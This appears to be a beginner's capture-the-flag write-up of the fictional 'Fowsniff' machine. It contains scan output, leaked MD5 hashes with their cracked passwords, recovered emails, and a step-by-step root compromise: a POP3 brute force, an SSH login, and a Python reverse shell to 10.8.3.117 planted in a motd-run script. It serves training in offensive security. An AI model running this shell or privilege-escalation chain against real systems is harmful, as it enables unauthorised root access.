Fowsniff CTF

Fowsniff CTF

Hack this machine and get the flag. There are lots of hints along the way and is perfect for beginners!

[Task 1] Hack into the FowSniff organisation.

This boot2root machine is brilliant for new starters. You will have to enumerate this machine by finding open ports, do some online research (its amazing how much information Google can find for you), decoding hashes, brute forcing
a pop3 login and much more!

This will be structured to go through what you need to do, step by step. Make sure you are connected to our network
Credit to berzerk0 for creating this machine.

#1
Deploy the machine. On the top right of this you will see a Deploy button. Click on this to deploy the machine into the cloud. Wait a minute for it to become live.

No answer needed

#2
Using nmap, scan this machine. What ports are open?

22, 80, 110, 143
No answer needed

#3
Using the information from the open ports. Look around. What can you find?

No answer needed

#4
Using Google, can you find any public information about them?

No answer needed

#5
Can you decode these md5 hashes? You can even use sites like hashkiller to decode them.

No answer needed

#6
Using the usernames and passwords you captured, can you use metasploit to brute force the pop3 login?

No answer needed

#7
What was seina's password to the email service?

scoobydoo2

#8
Can you connect to the pop3 service with her credentials? What email information can you gather

No answer needed

#9
Looking through her emails, what was a temporary password set for her?

S1ck3nBluff+secureshell

#10
In the email, who send it? Using the password from the previous question and the senders username, connect to the machine using SSH.

A.J Stone
baksteen@fowsniff
S1ck3nBluff+secureshell
ssh baksteen@fowsniff
No answer needed

#11

Once connected, what groups does this user belong to? Are there any interesting files that can be run by that group?

find / -group users -type f 2>/dev/null

No answer needed

#12

Now you have found a file that can be edited by the group, can you edit it to include a reverse shell?
Python Reverse Shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<IP>,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Other reverse shells: here.

cd /opt/cube
nano cube.sh

paste in python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.3.117",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

./cube.sh
No answer needed

#13

If you have not found out already, this file is run as root when a user connects to the machine using SSH. We know this as when we first connect we can see we get given a banner (with fowsniff corp). Look in /etc/update-motd.d/ file. If (after we have put our reverse shell in the cube file) we then include this file in the motd.d file, it will run as root and we will get a reverse shell as root!

No answer needed

#14

Start a netcat listener (nc -lvp 1234) and then re-login to the SSH service. You will then receive a reverse shell on your netcat session as root!

No answer needed

#15

If you are really really stuck, there is a brilliant walkthrough here: https://www.hackingarticles.in/fowsniff-1-vulnhub-walkthrough/
If its easier, follow this walkthrough with the deployed machine on the site.

No answer needed

scans

nmap-scan

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

```
|   2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)
|   256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)
|_  256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)

80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Fowsniff Corp - Delivering Solutions

110/tcp open  pop3    Dovecot pop3d
|_pop3-capabilities: TOP RESP-CODES PIPELINING USER UIDL AUTH-RESP-CODE SASL(PLAIN)
CAPA

143/tcp open  imap    Dovecot imapd
|_imap-capabilities: LITERAL+ ENABLE post-login more SASL-IR IDLE Pre-login OK listed
capabilities AUTH=PLAINA0001 have LOGIN-REFERRALS IMAP4rev1 ID
|_imap-capabilities: more SASL-IR IMAP4rev1 ENABLE ID have listed LITERAL+ Pre-login IDLE
AUTH=PLAINA0001 capabilities post-login OK LOGIN-REFERRALS


Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

nikto-scan

```
---------------------------------------------------------------------------
+ Target IP:          10.10.239.110
+ Target Hostname:    10.10.239.110
+ Target Port:        80
+ Start Time:         2020-05-17 08:02:29 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to
protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the
content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is
the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a
request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Server may leak inodes via ETags, header found with file /, inode: a45, size:
5674fd157f6d0, mtime: gzip
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7889 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2020-05-17 08:25:09 (GMT-4) (1360 seconds)
---------------------------------------------------------------------------
```

gobuster

```
===============================================================
[+] Url:                     http://10.10.239.110
[+] Threads:                 10
[+] Wordlist:                /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.0.1
[+] Timeout:                 10s
===============================================================
2020/05/17 07:49:33 Starting gobuster
===============================================================
/images (Status: 301)
/assets (Status: 301)
===============================================================
2020/05/17 08:28:54 Finished
===============================================================
```

creds

creds-from-pastebin

```
FOWSNIFF CORP PASSWORD LEAK
             ''~``
            ( o o )
+-----.oooO--(_)--Oooo.------+
|                            |
|        FOWSNIFF            |
|          got               |
|         PWN3D!!!           |
|                            |
|      .oooO                 |
|       (   )   Oooo.        |
+---------\ (----(   )-------+
           \_)    ) /
                 (_/
FowSniff Corp got pwn3d by B1gN1nj4!
No one is safe from my 1337 skillz!
```

mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4 mailcall
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56 bilbo101
tegel@fowsniff:1dc352435fecca338acfd4be10984009 apples01
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb skyler22
seina@fowsniff:90dc16d47114aa13671c697fd506cf26 scoobydoo2
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd

mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
carp4ever
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
orlando12
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e
07011972

Fowsniff Corporation Passwords LEAKED!
FOWSNIFF CORP PASSWORD DUMP!

Here are their email passwords dumped from their databases.
They left their pop3 server WIDE OPEN, too!

MD5 is insecure, so you shouldn't have trouble cracking them but I was too lazy haha =P

l8r n00bz!

B1gN1nj4

This list is entirely fictional and is part of a Capture the Flag educational challenge.

All information contained within is invented solely for this purpose and does not correspond to any real persons or organizations.

Any similarities to actual people or entities is purely coincidental and occurred accidentally

files-found

robots.txt

User-agent: *
Disallow: /

found-email-1

+OK 1622 octets
Return-Path: <stone@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1000)
id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,
mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,
tegel@fowsniff
Subject: URGENT! Security EVENT!
Message-Id: <20180313185107.0FA3916A@fowsniff>
Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
From: stone@fowsniff (stone)

Dear All,

A few days ago, a malicious actor was able to gain entry to
our internal email systems. The attacker was able to exploit
incorrectly filtered escape characters within our SQL database
to access our login credentials. Both the SQL and authentication
system used legacy methods that had not been updated in some time.

We have been instructed to perform a complete internal system overhaul. While the main systems are "in the shop," we have moved to this isolated, temporary server that has minimal functionality.

This server is capable of sending and receiving emails, but only locally. That means you can only send emails to other users, not to the world wide web. You can, however, access this system via the SSH protocol.

The temporary password for SSH is "S1ck3nBluff+secureshell"

You MUST change this password as soon as possible, and you will do so under my guidance. I saw the leak the attacker posted online, and I must say that your passwords were not very secure.

Come see me in my office at your earliest convenience and we'll set it up.

Thanks,
A.J Stone

found-email-2

+OK 1280 octets
Return-Path: <baksteen@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1004)
id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
To: seina@fowsniff
Subject: You missed out!
Message-Id: <20180313185405.101CA1AC2@fowsniff>
Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
From: baksteen@fowsniff

Devin,

You should have seen the brass lay into AJ today!
We are going to be talking about this one for a looooong time hahaha.
Who knew the regional manager had been in the navy? She was swearing like a sailor!

I don't know what kind of pneumonia or something you brought back with you from your camping trip, but I think I'm coming down with it myself.
How long have you been gone - a week?
Next time you're going to get sick and miss the managerial blowout of the century, at least keep it to yourself!

I'm going to head home early and eat some chicken soup.
I think I just got an email from Stone, too, but it's probably just some "Let me explain the tone of my meeting with management" face-saving mail.
I'll read it when I get back.

Feel better,

Skyler

PS: Make sure you change your email password.
AJ had been telling us to do that right before Captain Profanity showed up.

commands-ran->->->->output

find-from-ssh

/opt/cube/cube.sh
/home/baksteen/.cache/motd.legal-displayed
/home/baksteen/Maildir/dovecot-uidvalidity
/home/baksteen/Maildir/dovecot.index.log
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff
/home/baksteen/Maildir/dovecot-uidlist
/home/baksteen/Maildir/dovecot-uidvalidity.5aa21fac
/home/baksteen/.viminfo
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/term.txt
/home/baksteen/.profile
/home/baksteen/.bashrc
/sys/fs/cgroup/systemd/user.slice/user-1004.slice/user@1004.service/tasks
/sys/fs/cgroup/systemd/user.slice/user-1004.slice/user@1004.service/cgroup.procs
/sys/fs/cgroup/systemd/user.slice/user-1004.slice/user@1004.service/init.scope/tasks
/sys/fs/cgroup/systemd/user.slice/user-1004.slice/user@1004.service/init.scope/cgroup.procs
/sys/fs/cgroup/systemd/user.slice/user-1004.slice/user@1004.service/init.scope/cgroup.clone_children
/sys/fs/cgroup/systemd/user.slice/user-1004.slice/user@1004.service/init.scope/notify_on_release
/proc/1159/task/1159/fdinfo/0
/proc/1159/task/1159/fdinfo/1
/proc/1159/task/1159/fdinfo/2
/proc/1159/task/1159/fdinfo/3
/proc/1159/task/1159/fdinfo/4
/proc/1159/task/1159/fdinfo/5
/proc/1159/task/1159/fdinfo/6
/proc/1159/task/1159/fdinfo/7
/proc/1159/task/1159/fdinfo/8
/proc/1159/task/1159/fdinfo/9
/proc/1159/task/1159/fdinfo/10
/proc/1159/task/1159/fdinfo/11
/proc/1159/task/1159/fdinfo/12
/proc/1159/task/1159/fdinfo/13
/proc/1159/task/1159/fdinfo/14
/proc/1159/task/1159/environ
/proc/1159/task/1159/auxv
/proc/1159/task/1159/status
/proc/1159/task/1159/personality
/proc/1159/task/1159/limits
/proc/1159/task/1159/sched
/proc/1159/task/1159/comm
/proc/1159/task/1159/syscall
/proc/1159/task/1159/cmdline
/proc/1159/task/1159/stat
/proc/1159/task/1159/statm
/proc/1159/task/1159/maps
/proc/1159/task/1159/children
/proc/1159/task/1159/numa_maps
/proc/1159/task/1159/mem
/proc/1159/task/1159/mounts
/proc/1159/task/1159/mountinfo
/proc/1159/task/1159/clear_refs
/proc/1159/task/1159/smaps
/proc/1159/task/1159/pagemap
/proc/1159/task/1159/attr/current
/proc/1159/task/1159/attr/prev
/proc/1159/task/1159/attr/exec
/proc/1159/task/1159/attr/fscreate

/proc/1159/task/1159/attr/keycreate
/proc/1159/task/1159/attr/sockcreate
/proc/1159/task/1159/wchan
/proc/1159/task/1159/stack
/proc/1159/task/1159/schedstat
/proc/1159/task/1159/cpuset
/proc/1159/task/1159/cgroup
/proc/1159/task/1159/oom_score
/proc/1159/task/1159/oom_adj
/proc/1159/task/1159/oom_score_adj
/proc/1159/task/1159/loginuid
/proc/1159/task/1159/sessionid
/proc/1159/task/1159/io
/proc/1159/task/1159/uid_map
/proc/1159/task/1159/gid_map
/proc/1159/task/1159/projid_map
/proc/1159/task/1159/setgroups
/proc/1159/fdinfo/0
/proc/1159/fdinfo/1
/proc/1159/fdinfo/2
/proc/1159/fdinfo/3
/proc/1159/fdinfo/4
/proc/1159/fdinfo/5
/proc/1159/fdinfo/6
/proc/1159/fdinfo/7
/proc/1159/fdinfo/8
/proc/1159/fdinfo/9
/proc/1159/fdinfo/10
/proc/1159/fdinfo/11
/proc/1159/fdinfo/12
/proc/1159/fdinfo/13
/proc/1159/fdinfo/14
/proc/1159/environ
/proc/1159/auxv
/proc/1159/status
/proc/1159/personality
/proc/1159/limits
/proc/1159/sched
/proc/1159/autogroup
/proc/1159/comm
/proc/1159/syscall
/proc/1159/cmdline
/proc/1159/stat
/proc/1159/statm
/proc/1159/maps
/proc/1159/numa_maps
/proc/1159/mem
/proc/1159/mounts
/proc/1159/mountinfo
/proc/1159/mountstats
/proc/1159/clear_refs
/proc/1159/smaps
/proc/1159/pagemap
/proc/1159/attr/current
/proc/1159/attr/prev
/proc/1159/attr/exec
/proc/1159/attr/fscreate
/proc/1159/attr/keycreate
/proc/1159/attr/sockcreate
/proc/1159/wchan
/proc/1159/stack
/proc/1159/schedstat
/proc/1159/cpuset
/proc/1159/cgroup
/proc/1159/oom_score
/proc/1159/oom_adj
/proc/1159/oom_score_adj
/proc/1159/loginuid
/proc/1159/sessionid
/proc/1159/coredump_filter
/proc/1159/io

/proc/1159/uid_map
/proc/1159/gid_map
/proc/1159/projid_map
/proc/1159/setgroups
/proc/1159/timers
/proc/1182/task/1182/fdinfo/0
/proc/1182/task/1182/fdinfo/1
/proc/1182/task/1182/fdinfo/2
/proc/1182/task/1182/fdinfo/255
/proc/1182/task/1182/environ
/proc/1182/task/1182/auxv
/proc/1182/task/1182/status
/proc/1182/task/1182/personality
/proc/1182/task/1182/limits
/proc/1182/task/1182/sched
/proc/1182/task/1182/comm
/proc/1182/task/1182/syscall
/proc/1182/task/1182/cmdline
/proc/1182/task/1182/stat
/proc/1182/task/1182/statm
/proc/1182/task/1182/maps
/proc/1182/task/1182/children
/proc/1182/task/1182/numa_maps
/proc/1182/task/1182/mem
/proc/1182/task/1182/mounts
/proc/1182/task/1182/mountinfo
/proc/1182/task/1182/clear_refs
/proc/1182/task/1182/smaps
/proc/1182/task/1182/pagemap
/proc/1182/task/1182/attr/current
/proc/1182/task/1182/attr/prev
/proc/1182/task/1182/attr/exec
/proc/1182/task/1182/attr/fscreate
/proc/1182/task/1182/attr/keycreate
/proc/1182/task/1182/attr/sockcreate
/proc/1182/task/1182/wchan
/proc/1182/task/1182/stack
/proc/1182/task/1182/schedstat
/proc/1182/task/1182/cpuset
/proc/1182/task/1182/cgroup
/proc/1182/task/1182/oom_score
/proc/1182/task/1182/oom_adj
/proc/1182/task/1182/oom_score_adj
/proc/1182/task/1182/loginuid
/proc/1182/task/1182/sessionid
/proc/1182/task/1182/io
/proc/1182/task/1182/uid_map
/proc/1182/task/1182/gid_map
/proc/1182/task/1182/projid_map
/proc/1182/task/1182/setgroups
/proc/1182/fdinfo/0
/proc/1182/fdinfo/1
/proc/1182/fdinfo/2
/proc/1182/fdinfo/255
/proc/1182/environ
/proc/1182/auxv
/proc/1182/status
/proc/1182/personality
/proc/1182/limits
/proc/1182/sched
/proc/1182/autogroup
/proc/1182/comm
/proc/1182/syscall
/proc/1182/cmdline
/proc/1182/stat
/proc/1182/statm
/proc/1182/maps
/proc/1182/numa_maps
/proc/1182/mem
/proc/1182/mounts
/proc/1182/mountinfo

/proc/1182/mountstats
/proc/1182/clear_refs
/proc/1182/smaps
/proc/1182/pagemap
/proc/1182/attr/current
/proc/1182/attr/prev
/proc/1182/attr/exec
/proc/1182/attr/fscreate
/proc/1182/attr/keycreate
/proc/1182/attr/sockcreate
/proc/1182/wchan
/proc/1182/stack
/proc/1182/schedstat
/proc/1182/cpuset
/proc/1182/cgroup
/proc/1182/oom_score
/proc/1182/oom_adj
/proc/1182/oom_score_adj
/proc/1182/loginuid
/proc/1182/sessionid
/proc/1182/coredump_filter
/proc/1182/io
/proc/1182/uid_map
/proc/1182/gid_map
/proc/1182/projid_map
/proc/1182/setgroups
/proc/1182/timers
/proc/1201/task/1201/fdinfo/0
/proc/1201/task/1201/fdinfo/1
/proc/1201/task/1201/fdinfo/2
/proc/1201/task/1201/fdinfo/3
/proc/1201/task/1201/fdinfo/4
/proc/1201/task/1201/fdinfo/5
/proc/1201/task/1201/fdinfo/7
/proc/1201/task/1201/fdinfo/8
/proc/1201/task/1201/fdinfo/9
/proc/1201/task/1201/fdinfo/10
/proc/1201/task/1201/environ
/proc/1201/task/1201/auxv
/proc/1201/task/1201/status
/proc/1201/task/1201/personality
/proc/1201/task/1201/limits
/proc/1201/task/1201/sched
/proc/1201/task/1201/comm
/proc/1201/task/1201/syscall
/proc/1201/task/1201/cmdline
/proc/1201/task/1201/stat
/proc/1201/task/1201/statm
/proc/1201/task/1201/maps
/proc/1201/task/1201/children
/proc/1201/task/1201/numa_maps
/proc/1201/task/1201/mem
/proc/1201/task/1201/mounts
/proc/1201/task/1201/mountinfo
/proc/1201/task/1201/clear_refs
/proc/1201/task/1201/smaps
/proc/1201/task/1201/pagemap
/proc/1201/task/1201/attr/current
/proc/1201/task/1201/attr/prev
/proc/1201/task/1201/attr/exec
/proc/1201/task/1201/attr/fscreate
/proc/1201/task/1201/attr/keycreate
/proc/1201/task/1201/attr/sockcreate
/proc/1201/task/1201/wchan
/proc/1201/task/1201/stack
/proc/1201/task/1201/schedstat
/proc/1201/task/1201/cpuset
/proc/1201/task/1201/cgroup
/proc/1201/task/1201/oom_score
/proc/1201/task/1201/oom_adj
/proc/1201/task/1201/oom_score_adj

/proc/1201/task/1201/loginuid
/proc/1201/task/1201/sessionid
/proc/1201/task/1201/io
/proc/1201/task/1201/uid_map
/proc/1201/task/1201/gid_map
/proc/1201/task/1201/projid_map
/proc/1201/task/1201/setgroups
/proc/1201/fdinfo/0
/proc/1201/fdinfo/1
/proc/1201/fdinfo/2
/proc/1201/fdinfo/3
/proc/1201/fdinfo/4
/proc/1201/fdinfo/6
/proc/1201/fdinfo/7
/proc/1201/environ
/proc/1201/auxv
/proc/1201/status
/proc/1201/personality
/proc/1201/limits
/proc/1201/sched
/proc/1201/autogroup
/proc/1201/comm
/proc/1201/syscall
/proc/1201/cmdline
/proc/1201/stat
/proc/1201/statm
/proc/1201/maps
/proc/1201/numa_maps
/proc/1201/mem
/proc/1201/mounts
/proc/1201/mountinfo
/proc/1201/mountstats
/proc/1201/clear_refs
/proc/1201/smaps
/proc/1201/pagemap
/proc/1201/attr/current
/proc/1201/attr/prev
/proc/1201/attr/exec
/proc/1201/attr/fscreate
/proc/1201/attr/keycreate
/proc/1201/attr/sockcreate
/proc/1201/wchan
/proc/1201/stack
/proc/1201/schedstat
/proc/1201/cpuset
/proc/1201/cgroup
/proc/1201/oom_score
/proc/1201/oom_adj
/proc/1201/oom_score_adj
/proc/1201/loginuid
/proc/1201/sessionid
/proc/1201/coredump_filter
/proc/1201/io
/proc/1201/uid_map
/proc/1201/gid_map
/proc/1201/projid_map
/proc/1201/setgroups
/proc/1201/timers

py-shell(cube.sh)

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.3.117",-1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root-flag

```
  ___                         _       _      _   _             _ 
 / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| |
| (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|
 \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
              |___/

(_)
 |--------------
 |&&&&&&&&&&&&&&|
 |    R O O T   |
 |    F L A G   |
 |&&&&&&&&&&&&&&|
 |--------------
 |
 |
 |
 |
 |
 |
---
```

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.

Special thanks to psf, @nbulischeck and the whole Fofao Team.